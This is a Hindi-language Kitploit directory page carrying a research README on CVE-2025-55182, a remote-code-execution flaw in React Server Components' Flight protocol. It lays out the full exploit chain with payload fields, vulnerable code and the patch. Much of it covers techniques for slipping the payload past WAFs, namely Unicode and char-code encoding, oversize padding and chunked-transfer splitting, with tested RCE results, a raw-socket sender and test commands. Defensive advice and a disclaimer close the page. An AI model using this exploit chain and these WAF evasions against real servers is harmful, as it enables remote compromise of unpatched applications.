Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182-research — CVE-2025-55182 का तकनीकी प्रूफ-ऑफ-कॉन्सेप्ट और गहन विश्लेषण, React के फ्लाइट प्रोटोकॉल में पथ ट्रैवर्सल, नकली चंक इंजेक्शन और $B हैंडलर दुरुपयोग के माध्यम से महत्वपूर्ण RCE भेद्यता। | Kitploit
उपकरण/GitHubGitHub/ejpir/cve-2025-55182-research
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणWAF बाईपासपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

CVE-2025-55182 का तकनीकी प्रूफ-ऑफ-कॉन्सेप्ट और गहन विश्लेषण, React के फ्लाइट प्रोटोकॉल में पथ ट्रैवर्सल, नकली चंक इंजेक्शन और $B हैंडलर दुरुपयोग के माध्यम से महत्वपूर्ण RCE भेद्यता।

रिपॉजिटरी देखें
79520259 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 React के Flight Protocol में एक गंभीर RCE कमजोरी है। हमला पथ ट्रैवर्सल + नकली चंक इंजेक्शन + $B हैंडलर दुरुपयोग की श्रृंखला का उपयोग करके Function(attacker_code) निष्पादित करता है।

कार्यशील शोषण श्रृंखला के लिए maple3142 को बहुत-बहुत धन्यवाद!


शोषण

हमले का अवलोकन

शोषण एक दुर्भावनापूर्ण पेलोड बनाने के लिए तीन फॉर्म फ़ील्ड का उपयोग करता है:

  1. एक नकली चंक ऑब्जेक्ट बनाता है जिसमें स्व-संदर्भित then (फ़ील्ड 1 $@0 → फ़ील्ड 0) होता है
  • एक नकली _response एम्बेड करता है जिसमें _formData.get को $1:constructor:constructor पर सेट किया जाता है
  • $B हैंडलर को ट्रिगर करता है जो response._formData.get(response._prefix + id) को कॉल करता है
  • पथ ट्रैवर्सल _formData.get → Function को हल करता है, जिससे Function(code) निष्पादित होता है``` ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
  • root@kitploit:~
    ### मुख्य घटक
    
    | घटक | उद्देश्य |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | स्व-संदर्भित thenable; चंक 1 (`$@0`) चंक 0 पर वापस इंगित करता है |
    | `status: "resolved_model"` | ऑब्जेक्ट को वैध React चंक के रूप में प्रकट करता है |
    | `reason: -1` | rootReference को undefined पर सेट करता है (संदर्भ टकराव से बचाता है) |
    | `value: '{"then":"$B1337"}'` | नेस्टेड payload जो `$B` हैंडलर को ट्रिगर करता है |
    | `_response._prefix` | RCE कोड स्ट्रिंग शामिल है |
    | `_response._chunks: "$Q2"` | चंक प्रसंस्करण के दौरान क्रैश को रोकने के लिए खाली Map |
    | `_response._formData.get` | `$1:constructor:constructor` के माध्यम से `Function` पर इंगित करता है |
    
    ### घटक गहराई से विवरण
    
    #### फॉर्म फ़ील्ड संरचना
    
    एक्सप्लॉइट तीन फॉर्म फ़ील्ड का उपयोग करता है जिसमें चक्रीय संदर्भ हैं:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    स्व-संदर्भित Thenable (then)

    then: "$1:__proto__:then" एक स्व-संदर्भ बनाता है जो एक वास्तविक फ़ंक्शन में हल होता है:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **यह क्यों महत्वपूर्ण है:**
    
    1. `then` `Chunk.prototype.then` में हल होता है - एक वास्तविक कॉल करने योग्य फ़ंक्शन
    2. यह नकली ऑब्जेक्ट को एक वैध thenable बनाता है
    3. जब प्रतीक्षा की जाती है, JS `obj.then(resolve, reject)` को कॉल करता है
    4. `Chunk.prototype.then` नकली ऑब्जेक्ट के साथ `this` के रूप में निष्पादित होता है:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) uses this._response - हमलावर का नकली _response:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **स्व-संदर्भ के बिना**, नकली `_response` कभी उपयोग नहीं होता। स्व-संदर्भ `Chunk.prototype.then` को हमलावर की वस्तु को वास्तविक Chunk मानने पर मजबूर करता है।
    
    #### दो-चरणीय Thenable ट्रिगर (`value`)
    
    `value` फ़ील्ड में एक nested JSON स्ट्रिंग है जिसमें एक और thenable है:```json
    {"then":"$B1337"}
    

    चरण 1: बाहरी ऑब्जेक्ट का स्व-संदर्भित then चंक प्रोसेसिंग को ट्रिगर करता है।

    चरण 2: जब React मॉडल को हल करता है, तो यह value को पार्स करता है और then: "$B1337" के साथ एक अन्य thenable का सामना करता है। $B उपसर्ग हैंडलर को ट्रिगर करता है:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` है `"$1:constructor:constructor"` → `getOutlinedModel()` हल होता है `Function`।
    
    यह बनता है: `Function(code + "1337")` → मान्य JS क्योंकि `1337` सिर्फ एक trailing expression है।
    
    #### रक्षात्मक पैडिंग (`_chunks`)
    
    नकली `_response` को क्रैश को रोकने के लिए एक मान्य `_chunks` प्रॉपर्टी की आवश्यकता है:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    React का आंतरिक कोड प्रसंस्करण के दौरान response._chunks.get() या response._chunks.has() तक पहुँच सकता है। एक खाली Map इन कॉलों को त्रुटियों के बिना संतुष्ट करता है, जिससे निष्पादन कमजोर $B हैंडलर तक पहुँच जाता है।


    Vulnerable Code Paths

    पथफ़ंक्शनशोषण में उद्देश्य
    पथ ट्रैवर्सलgetOutlinedModel()$1:constructor:constructor को Function में हल करता है
    नकली _response इंजेक्शनinitializeModelChunk()हमलावर के chunk._response का उपयोग करता है
    $B हैंडलरparseModelString()_formData.get(_prefix + id) को कॉल करता है → RCE

    decodeReply() प्रवेश बिंदु है, स्वयं कमजोर नहीं है।

    पथ ट्रैवर्सल (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **फर्जी प्रतिक्रिया उपयोग** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## सुधार (19.2.1)
    
    पैच में कई सुधार शामिल हैं:
    
    1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - महत्वपूर्ण सुधार   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty जाँच getOutlinedModel() में - प्रोटोटाइप ट्रैवर्सल को ब्लॉक करता है ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. __proto__ हैंडलिंग reviveModel() में - प्रोटोटाइप प्रदूषण को रोकता है ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. initializeModelChunk() में प्रकार जाँच - श्रोताओं को मान्य करता है ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    प्रभाव और संस्करण

    प्रभाव मूल्यांकन

    क्षमतास्थितिनोट्स
    प्रोटोटाइप श्रृंखला ट्रैवर्सल✓ पुष्टि$1:constructor:constructor के माध्यम से
    फंक्शन कंस्ट्रक्टर तक पहुँच✓ पुष्टिमेनिफेस्ट की आवश्यकता नहीं
    पूर्ण RCE✓ पुष्टिफेक चंक + $B हैंडलर के माध्यम से

    प्रभावित संस्करण

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: समान संस्करण
    • Next.js: 15.x, 16.x (पैच से पहले), 14.3.0-canary.77+ से कनारी

    फिक्स्ड संस्करण

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    सिग्नेचर-आधारित WAF डिटेक्शन क्यों विफल होता है

    यह खंड बताता है कि पारंपरिक पैटर्न-मिलान WAF नियम इस एक्सप्लॉइट को विश्वसनीय रूप से क्यों नहीं पकड़ सकते। इन सीमाओं को समझना सुरक्षा टीमों के लिए उनकी रक्षात्मक मुद्रा का मूल्यांकन करने में आवश्यक है।

    मूल समस्या: कई परतों पर एन्कोडिंग

    एक्सप्लॉइट पेलोड कई पार्सरों से गुज़रता है, प्रत्येक अलग-अलग एन्कोडिंग समर्थन के साथ। एक WAF कच्चे HTTP बाइट्स को स्कैन करता है और एन्कोडेड स्ट्रिंग्स देखता है, लेकिन सर्वर प्रोसेसिंग से पहले उन्हें डिकोड कर लेता है:

    परतपार्सरडिकोड करता है
    JSON संरचनाJSON.parse()\uXXXX यूनिकोड एस्केप
    जावास्क्रिप्ट कोडFunction() कंस्ट्रक्टर\uXXXX, \xXX, ऑक्टल, fromCharCode()

    यह एक मूलभूत बेमेल पैदा करता है: WAF एन्कोडेड बाइट्स देखता है, लेकिन एप्लिकेशन डिकोडेड स्ट्रिंग्स देखता है।

    सिग्नेचर्स को किससे मेल खाना होगा

    एक सरल WAF constructor, __proto__, resolved_model, या child_process जैसे पैटर्न खोज सकता है। हालांकि, JSON किसी भी कैरेक्टर के लिए यूनिकोड एस्केप की अनुमति देता है:

    शाब्दिक पैटर्नयूनिकोड समतुल्यWAF डिटेक्शन
    constructor\u0063onstructorटल गया
    __proto__\u005f\u005fproto\u005f\u005fटल गया
    resolved_model\u0072esolved_modelटल गया
    $@ (सर्कुलर रेफरेंस)$\u0040टल गया

    पेलोड के भीतर जावास्क्रिप्ट कोड में और भी अधिक एन्कोडिंग विकल्प हैं:

    पैटर्नएन्कोडिंग विकल्प
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, संख्यात्मक चार कोड, base64
    कोई भी पहचानकर्ताब्रैकेट नोटेशन: this[S(112,114,...)] जहाँ S=String.fromCharCode

    डिटेक्शन गैप

    जब सभी एन्कोडिंग तकनीकों को जोड़ा जाता है:

    • JSON कुंजियाँ यूनिकोड अनुक्रम बन जाती हैं (\u0074\u0068\u0065\u006e then के लिए)
    • JS पहचानकर्ता संख्यात्मक सरणी बन जाते हैं (S(99,104,105,108,100,95,...) child_process के लिए)
    • कच्चे पेलोड में कोई पहचानने योग्य कीवर्ड नहीं होता

    HTTP बॉडी को स्कैन करने वाला WAF केवल एस्केप सीक्वेंस और संख्याएँ देखता है - पारंपरिक हमले के सिग्नेचर से मेल खाने वाला कुछ भी नहीं।

    यह डिफेंडर्स के लिए क्यों मायने रखता है

    1. सिग्नेचर-आधारित नियम गलत आत्मविश्वास प्रदान करते हैं - पेलोड बिना पहचाने सर्वर तक पहुँचता है
    2. एन्कोडिंग अनंत है - प्रत्येक कैरेक्टर को अलग-अलग एस्केप किया जा सकता है; रेगेक्स सभी वेरिएंट्स की गणना नहीं कर सकता
    3. हमला प्रोटोकॉल-अनुरूप है - सभी एन्कोडिंग विनिर्देश के अनुसार मान्य JSON/जावास्क्रिप्ट हैं

    हेडर डिटेक्शन विचार

    Next-Action हेडर सर्वर एक्शन अनुरोधों की पहचान करता है। जबकि हेडर नाम यूनिकोड-एन्कोडेड नहीं हो सकते (RFC 7230 के लिए ASCII टोकन की आवश्यकता है), WAF और सर्वर के बीच सामान्यीकरण अंतर डिटेक्शन गैप पैदा करते हैं:

    वेरिएंटसर्वर व्यवहारWAF जोखिम
    next-action (लोअरकेस)स्वीकार किया (HTTP केस-इनसेंसिटिव है)यदि WAF सटीक केस की अपेक्षा करता है तो छूट सकता है
    Next-Action:\tx (टैब)स्वीकार किया (व्हाइटस्पेस सामान्यीकृत)यदि WAF स्पेस की अपेक्षा करता है तो छूट सकता है
    Next-Action: x (स्पेस)स्वीकार कियासामान्यीकरण के बिना छूट सकता है

    रक्षात्मक अनुशंसाएँ

    पैच लगाना ही एकमात्र विश्वसनीय शमन है। एन्कोडिंग लचीलेपन के कारण WAF नियम इस हमले को व्यापक रूप से ब्लॉक नहीं कर सकते।

    आवश्यक संस्करण:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    यदि पैचिंग में देरी हो रही है, तो विचार करें:

    1. मिलान से पहले डिकोड करें - पैटर्न मिलान से पहले WAF को \uXXXX, \xXX डिकोड करना होगा और fromCharCode() कॉल को सामान्यीकृत करना होगा
    2. संरचनात्मक डिटेक्शन - JSON संरचनाओं को देखें जिनमें _response, _prefix, _chunks, या सर्कुलर रेफरेंस ($@0) हों
    3. हेडर सामान्यीकरण - next-action हेडर को केस-इनसेंसिटिव रूप में व्हाइटस्पेस ट्रिमिंग के साथ मैच करें
    4. सर्वर एक्शन ब्लॉक करें - यदि सर्वर एक्शन का उपयोग नहीं कर रहे हैं, तो Next-Action हेडर वाले अनुरोधों को पूरी तरह ब्लॉक करें
    5. रनटाइम निगरानी - डायनामिक स्ट्रिंग आर्गुमेंट के साथ Function() कॉल पर अलर्ट करें

    मुख्य निष्कर्ष: अकेला पैटर्न मिलान इस प्रकार के हमले के खिलाफ विफल होगा। एन्कोडिंग सतह गणना करने के लिए बहुत बड़ी है।


    AWS WAF बॉडी इंस्पेक्शन सीमाएँ बायपास

    व्यापक WAF नियमों के बावजूद, AWS WAF में बॉडी इंस्पेक्शन आकार सीमाएँ हैं जिनका शोषण किया जा सकता है। यह खंड अतिरिक्त बड़े पेलोड का उपयोग करके परीक्षण की गई बायपास तकनीकों का दस्तावेजीकरण करता है।

    बॉडी इंस्पेक्शन सीमाएँ

    AWS WAF अनुरोध बॉडी के केवल एक हिस्से का निरीक्षण करता है:

    बैकएंडडिफ़ॉल्ट सीमाअधिकतम कॉन्फ़िगर करने योग्य
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    OversizeHandling समस्या

    WAF नियम निर्दिष्ट करते हैं कि निरीक्षण सीमा से अधिक अनुरोधों को कैसे संभालना है:

    सेटिंगव्यवहारशोषणीय?
    CONTINUEउपलब्ध बाइट्स का निरीक्षण करें, नियम का मूल्यांकन करेंहाँ - सीमा के बाद पेलोड का निरीक्षण नहीं किया गया
    MATCHमैचिंग मानें (ब्लॉक)नहीं - बड़े अनुरोधों को ब्लॉक करता है
    NO_MATCHमैच नहीं मानेंहाँ - गुज़रने देता है

    यदि आपका WAF नियम OversizeHandling: CONTINUE (सामान्य डिफ़ॉल्ट) का उपयोग करता है, तो बायपास तुच्छ है।

    बायपास रणनीति: पेलोड से पहले पैडिंग

    एक्सप्लॉइट पेलोड से पहले हानिरहित पैडिंग डेटा रखें ताकि वह निरीक्षण विंडो के बाहर आ जाए:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Test Results
    
    सभी बड़े आकार के पेलोड ने Next.js पर सफलतापूर्वक RCE प्राप्त किया:
    
    | पैडिंग आकार | कुल बॉडी | एक्सप्लॉइट ऑफ़सेट | परिणाम |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### खंडित स्थानांतरण एन्कोडिंग बाईपास
    
    HTTP/1.1 खंडित स्थानांतरण एन्कोडिंग बॉडी को अलग-अलग खंडों में विभाजित करता है। यदि WAF पुनः असेंबली से **पहले** खंडों का निरीक्षण करता है, तो खंड सीमाओं में फैले पैटर्न मेल नहीं खाएंगे।
    
    #### यह कैसे काम करता है```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    पैटर्न खंडों में विभाजित:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### परीक्षित चंकिंग रणनीतियाँ
    
    | रणनीति | विवरण | परिणाम |
    |----------|-------------|--------|
    | `$@` पर विभाजन | `"$` \| `@0"` | ✅ RCE |
    | 10-बाइट खंड | प्रति 10 बाइट्स पर बॉडी विभाजन | ✅ RCE |
    | 5-बाइट खंड | प्रति 5 बाइट्स पर बॉडी विभाजन | ✅ RCE |
    | `status` पर विभाजन | `sta` \| `tus` | ✅ RCE |
    
    सभी रणनीतियों ने सफलतापूर्वक RCE प्राप्त किया - Next.js चंक्ड अनुरोधों को सही ढंग से पुनः संयोजित करता है।
    
    #### रॉ सॉकेट उदाहरण```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    WAF व्यवहार संबंधी विचार

    WAF प्रकारचंक हैंडलिंगबायपास संभव?
    AWS WAF (ALB)निरीक्षण से पहले पुनः संयोजित करता हैअसंभावित
    AWS WAF (CloudFront)निरीक्षण से पहले पुनः संयोजित करता हैअसंभावित
    कुछ लीगेसी WAFप्रति-चंक निरीक्षण करते हैंहाँ
    Nginx ModSecurityकॉन्फ़िगरेबलकॉन्फ़िग पर निर्भर करता है

    ध्यान दें: AWS WAF आमतौर पर निरीक्षण से पहले चंक किए गए बॉडी को पुनः संयोजित करता है। हालांकि, यह प्रति-पर्यावरण सत्यापित किया जाना चाहिए क्योंकि कॉन्फ़िगरेशन भिन्न होते हैं।

    शमन अनुशंसाएँ

    1. OversizeHandling को MATCH में बदलें ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    यह नियम शर्तें पूरी होने पर निरीक्षण सीमा से अधिक किसी भी अनुरोध को ब्लॉक करता है।

    1. बॉडी निरीक्षण सीमा बढ़ाएँ (केवल CloudFront/API Gateway) web ACL सेटिंग्स में 64KB तक कॉन्फ़िगर करें, लेकिन यह बाइपास को पूरी तरह से नहीं रोकता।

    2. आकार-आधारित ब्लॉकिंग नियम जोड़ें Next-Action हेडर वाले POST अनुरोधों को एक उचित आकार (जैसे, 10KB) से अधिक होने पर ब्लॉक करें।

    3. एप्लिकेशन को पैच करें - एकमात्र पूर्ण समाधान।

    परीक्षण स्क्रिप्ट्स

    शामिल परीक्षण स्क्रिप्ट्स देखें:

    • test-simple.cjs - बेसलाइन नॉन-चंक्ड पेलोड परीक्षण
    • test-oversize.cjs - 0-128KB तक पैडिंग आकारों का परीक्षण
    • test-chunked-v2.cjs - $@ विभाजन के साथ चंक्ड ट्रांसफर एन्कोडिंग
    • test-chunked-bypass.cjs - एकाधिक चंकिंग रणनीतियाँ (5-बाइट, 10-बाइट, पैटर्न विभाजन)

    उपयोग:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ## अनुसंधान यात्रा
    
    ### कमज़ोरी: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    With payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    अवरुद्ध पथ जिन्हें हमने आज़माया

    जबकि हमने Function प्राप्त कर लिया, RCE प्राप्त करने के लिए इसे नियंत्रित तर्कों के साथ कॉल करना आवश्यक है। ये पथ विफल रहे:

    1. Thenable Path (अवरुद्ध)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Path (अवरुद्ध)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. पुनरावृत्ति पथ (अवरुद्ध)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### सफलता (The Breakthrough)
    
    maple3142 ने लापता टुकड़ा ढूंढ लिया: `$B` हैंडलर + नकली `_response` श्रृंखला। `then` को आत्म-संदर्भ के माध्यम से `Chunk.prototype.then` पर हल करके, नकली `_response` का उपयोग होता है, जिससे RCE सक्षम होता है।
    
    ---
    
    ## मुख्य निष्कर्ष (Key Findings)
    
    1. **`getOutlinedModel()` भेद्यता वास्तविक है** - कोलन-पृथक पथ प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देते हैं
    
    2. **फंक्शन कंस्ट्रक्टर सुलभ है** - `$1:constructor:constructor` serverManifest के बिना काम करता है
    
    3. **RCE प्राप्त करने योग्य है** - नियंत्रित `_response` के साथ एक नकली चंक बनाकर:
       - आत्म-संदर्भ `$1:__proto__:then` → `Chunk.prototype.then` नकली `_response` का उपयोग करवाता है
       - नकली चंक संरचना React के आंतरिक Chunk वर्ग की नकल करती है
       - `_response._formData.get` → `Function` कंस्ट्रक्टर
       - `_response._prefix` → दुर्भावनापूर्ण कोड स्ट्रिंग
       - `$B` हैंडलर `Function(दुर्भावनापूर्ण_कोड)` को ट्रिगर करता है
    
    4. **समाधान व्यापक है** - कई `hasOwnProperty` जाँच और प्रकार सत्यापन
    
    ---
    
    ## संदर्भ (References)
    
    - [maple3142 का Gist](https://gist.github.com/maple3142) - RCE श्रृंखला की खोज
    - [React सुरक्षा सलाह](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [msanft PoC](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [AWS WAF नियम](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## अस्वीकरण (Disclaimer)
    
    यह रिपॉजिटरी केवल **शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान** के लिए है। भेद्यता को पैच कर दिया गया है। कृपया तुरंत अपनी निर्भरताओं को अपग्रेड करें।
    
    टूल डाउनलोड करें